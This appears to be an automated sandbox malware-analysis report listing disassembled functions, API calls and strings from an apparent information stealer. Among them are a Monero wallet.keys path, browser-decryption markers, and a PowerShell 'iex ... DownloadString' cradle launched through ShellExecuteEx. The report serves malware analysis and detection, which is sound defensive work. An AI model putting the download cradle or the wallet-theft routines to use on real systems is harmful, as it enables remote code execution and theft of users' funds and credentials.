Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 7b1e29486427b69a4ff2e20a4209a56c9afd37853c2542f01da32e92a9ad906b
Instruction ID: abcbfb403e0a8d1b0803ad4c0d1c2c3cbbf3130962cf1a230686410de17121c4
Opcode Fuzzy Hash: 7b1e29486427b69a4ff2e20a4209a56c9afd37853c2542f01da32e92a9ad906b
Instruction Fuzzy Hash: A221E97191021CABDB24DB54DC85FE9B7B8FB58700F00C5D8E609A6240DF71AA86CFE5

Function 008B7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B76A4
RtlAllocateHeap.NTDLL(00000000), ref: 008B76AB
RegOpenKeyExA.ADVAPI32(80000002,0141B660,00000000,00020119,00000000), ref: 008B76DD
RegQueryValueExA.ADVAPI32(00000000,0142E770,00000000,00000000,?,000000FF), ref: 008B76FE
RegCloseKey.ADVAPI32(00000000), ref: 008B7708

Strings

Windows 11, xrefs: 008B76BD

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 49f7af07d16917a5a946530f5c37dca0f205afa27cd58c79546bbf06c259cffe
Instruction ID: 7f989ded5c41464f380e95074e4045e381b59ff07f7397447e47c5bab92314bd
Opcode Fuzzy Hash: 49f7af07d16917a5a946530f5c37dca0f205afa27cd58c79546bbf06c259cffe
Instruction Fuzzy Hash: 220162B5A04308BFD700DBE4DC89FAEBBB8EB58701F108054FA05DB290DA70A9058B52

Function 008B7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7734
RtlAllocateHeap.NTDLL(00000000), ref: 008B773B
RegOpenKeyExA.ADVAPI32(80000002,0141B660,00000000,00020119,008B76B9), ref: 008B775B
RegQueryValueExA.ADVAPI32(008B76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 008B777A
RegCloseKey.ADVAPI32(008B76B9), ref: 008B7784

Strings

CurrentBuildNumber, xrefs: 008B7771

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 48d7662301350648c9d96c39ffac682af427b92614a297f81ee6c3cc381996ce
Instruction ID: 3ae40b03bedafe3b6bbdd5078fd96edde2748a99a1336ea20c72c76f6dfa8e44
Opcode Fuzzy Hash: 48d7662301350648c9d96c39ffac682af427b92614a297f81ee6c3cc381996ce
Instruction Fuzzy Hash: F00144B5A40308BBEB10DBE4DC89FAEB7B8EB54700F004158FA05EB281DA7065018F52

Function 008A99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008A99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 008A9A11
LocalAlloc.KERNEL32(00000040,?), ref: 008A9A31
ReadFile.KERNEL32(000000FF,?,00000000,008A148F,00000000), ref: 008A9A5A
LocalFree.KERNEL32(008A148F), ref: 008A9A90
CloseHandle.KERNEL32(000000FF), ref: 008A9A9A

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 59cbec864432b68ff56d7420c8dd4d11fdea1a477c176f6665d66a742bc2f005
Instruction ID: 375c1f578cd3df547e22daf46ac5248313b7b277c2cda8625bbe3bc6a3662dd8
Opcode Fuzzy Hash: 59cbec864432b68ff56d7420c8dd4d11fdea1a477c176f6665d66a742bc2f005
Instruction Fuzzy Hash: 1B3129B4A00209EFEF14CF94C885BAE77B5FF49350F108159E916EB690D774AA41CFA1

Function 008B4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0142EB90), ref: 008B47DB

Part of subcall function 008B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008B8E0B

lstrcat.KERNEL32(?,00000000), ref: 008B4801
lstrcat.KERNEL32(?,?), ref: 008B4820
lstrcat.KERNEL32(?,?), ref: 008B4834
lstrcat.KERNEL32(?,0141B078), ref: 008B4847
lstrcat.KERNEL32(?,?), ref: 008B485B
lstrcat.KERNEL32(?,0142CE90), ref: 008B486F

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008B8D90: GetFileAttributesA.KERNEL32(00000000,?,008A1B54,?,?,008C564C,?,?,008C0E1F), ref: 008B8D9F

Part of subcall function 008B4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 008B4580
Part of subcall function 008B4570: RtlAllocateHeap.NTDLL(00000000), ref: 008B4587
Part of subcall function 008B4570: wsprintfA.USER32 ref: 008B45A6
Part of subcall function 008B4570: FindFirstFileA.KERNEL32(?,?), ref: 008B45BD

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 54eeed5891c768d13bba6c93ca638a5cde7a592558f28e5a061546d1f3312eb5
Instruction ID: cfb652fd061d1377cbe46f506c3658943d9728902605a2afde9d4d5af70b1d48
Opcode Fuzzy Hash: 54eeed5891c768d13bba6c93ca638a5cde7a592558f28e5a061546d1f3312eb5
Instruction Fuzzy Hash: 0E31AFB2900208A7DB14FBB4DCC6EE9777CFB58700F404589B319D6181EE70A78ACB92

Function 008B2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

ShellExecuteEx.SHELL32(0000003C), ref: 008B2D85

Strings

')", xrefs: 008B2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 008B2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 008B2D04
<, xrefs: 008B2D39

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7719d123fe84ff9bdc5059dde25064bda49899e22fdadcd0318c9c010f2e9c9d
Instruction ID: a431b16a2c594c0149f114dfe0b429c23ca093454eda68c0d2088a44e536e6c6
Opcode Fuzzy Hash: 7719d123fe84ff9bdc5059dde25064bda49899e22fdadcd0318c9c010f2e9c9d
Instruction Fuzzy Hash: DF41AD71810208AADB18EBA4C8A1FDDBB74FF14700F404129E116EA291DF746A4ACF92

Function 008A9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 008A9F41

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Strings

@, xrefs: 008A9EF1
ERROR_RUN_EXTRACTOR, xrefs: 008A9E67
v20, xrefs: 008A9E21
v10, xrefs: 008A9EA3

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2dc7b6906dfc4078dbb1168ce5b48310b7dfe81b46de15ccb2d8e8a9d6540bba
Instruction ID: 44a9d9010dee76b8f1786385081a4e92475da76526f4c947b57734bfc487ae35
Opcode Fuzzy Hash: 2dc7b6906dfc4078dbb1168ce5b48310b7dfe81b46de15ccb2d8e8a9d6540bba
Instruction Fuzzy Hash: 71610E71900248EBDB28EFA8CC96FDD7775FF45304F008518E9099BA91DB746A05CB52

Function 008B40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0142D030,00000000,00020119,?), ref: 008B40F4
RegQueryValueExA.ADVAPI32(?,0142EB18,00000000,00000000,00000000,000000FF), ref: 008B4118
RegCloseKey.ADVAPI32(?), ref: 008B4122
lstrcat.KERNEL32(?,00000000), ref: 008B4147
lstrcat.KERNEL32(?,0142EB48), ref: 008B415B

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: a23d4614b6e05c8e46801cea61b8cd1adef4ce06d00728c4e24fa9702d440fa8
Instruction ID: f5ea63e0dad7486d39c86026849ddb923ca2932d3c9c99ee0a6b3946345385c1
Opcode Fuzzy Hash: a23d4614b6e05c8e46801cea61b8cd1adef4ce06d00728c4e24fa9702d440fa8
Instruction Fuzzy Hash: 6541BBB6D001086BDB14EBE4DC86FFE737DF798300F004558B7159A181EA75AB898B93

Function 008B6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 008B696C
sscanf.NTDLL ref: 008B6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008B69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008B69C0
ExitProcess.KERNEL32 ref: 008B69DA

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 40aec355a08fe165b8e974d7d1d5371de65ebbcff038299bd511f68da928700e
Instruction ID: 1045c63916a2c3788a0266b8e24a79e6f29c63d12dca789db7912d0ba7f8c072
Opcode Fuzzy Hash: 40aec355a08fe165b8e974d7d1d5371de65ebbcff038299bd511f68da928700e
Instruction Fuzzy Hash: CD21CB75D14208ABCF08EFE8D9859EEB7B5FF58300F04852AE416E7250EB346619CBA5

Function 008B7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7E37
RtlAllocateHeap.NTDLL(00000000), ref: 008B7E3E
RegOpenKeyExA.ADVAPI32(80000002,0141B5B8,00000000,00020119,?), ref: 008B7E5E
RegQueryValueExA.ADVAPI32(?,0142CFB0,00000000,00000000,000000FF,000000FF), ref: 008B7E7F
RegCloseKey.ADVAPI32(?), ref: 008B7E92

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 38fb588ec4c8132e712136c4591cfeec6200d6a660f25a7328275bb4d29cdbcb
Instruction ID: b6db8303ff9402c75579f3de1252758f973a4da46735dcc06000f010e46d3a7a
Opcode Fuzzy Hash: 38fb588ec4c8132e712136c4591cfeec6200d6a660f25a7328275bb4d29cdbcb
Instruction Fuzzy Hash: 97113DB1A44249EBD710CBD4DD89FABBBB8FB44B10F104159F615EB380D77468018BA2

Function 008B9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0142E6F8,?,?,?,008B140C,?,0142E6F8,00000000), ref: 008B926C
lstrcpyn.KERNEL32(00AEAB88,0142E6F8,0142E6F8,?,008B140C,?,0142E6F8), ref: 008B9290
lstrlen.KERNEL32(?,?,008B140C,?,0142E6F8), ref: 008B92A7
wsprintfA.USER32 ref: 008B92C7

Strings

%s%s, xrefs: 008B92B5

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c262325fddf7712143534472ff30af41d2ba5b2b630a4b5f597ad734de19e5df
Instruction ID: 84bbdca69a83204501755fd246c99cc800db51d4cdf3b4e33c180ecde47ce1bd
Opcode Fuzzy Hash: c262325fddf7712143534472ff30af41d2ba5b2b630a4b5f597ad734de19e5df
Instruction Fuzzy Hash: CE01A575500148FFCB04DFECC998EAE7BB9FB58354F108548F9099B205C671AE41DB92

Function 008A12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008A12B4
